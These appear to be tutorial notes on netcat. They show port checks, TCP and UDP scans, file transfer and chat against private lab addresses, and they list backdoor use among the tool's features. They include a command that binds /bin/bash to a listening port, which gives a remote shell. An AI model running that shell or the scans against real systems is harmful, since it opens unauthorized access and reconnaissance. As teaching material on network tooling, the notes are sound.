NETCAT


Netcat is a utility that is able to write and read data across tcp and udp network connections using tcp/ip protocol suite.
Features:
  • Port scanner
  • Banner grabbing
  • Port listener
  • Port redirection
  • As a backdoor
  • File/Data transfer
connect to somewhere:    nc [-options] hostname port[s] [ports] ...
listen for inbound:    nc -l -p port [-options] [hostname] [port] 
Options:
    
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data')
Experiments:

checking for open port
nc -vn 192.168.93.129 22
nc -vn 192.168.93.129 25
wireshark explains, how netcat says open on port 22

wireshark explains, how netcat says connect closed or filtered
netcat as a port scanner
nc -vvnz -w 1 192.168.93.129 21 - 25
scanning on udp port
nc -vvnzu -w 1 192.168.93.129 65 - 69
making a chat room
client sied: nc -lp 53
server side: nc 192.168.93.129 53
sending image to remote host

 
sending
netcat supports IPv6 as well
client
nc -6 localhost 2389

 server
nc -6 -l 2389

 launching remote shell
client
nc -lp 5000 -e /bin/bash

 server
nc 192.168.233.208 5000

 Basic information about port opened/closed/filtered
* "connected to server_ip" = if connection is successful
* "connection timeout" = if the port is blocked by firewall
* "connection refused" = if the service is down/not listening on specific port, but port is reachable

 The message 'connection refused' has two main causes:
     * nothing is listening on IP:Port you are trying to connect
     * the port is blocked by a firewall
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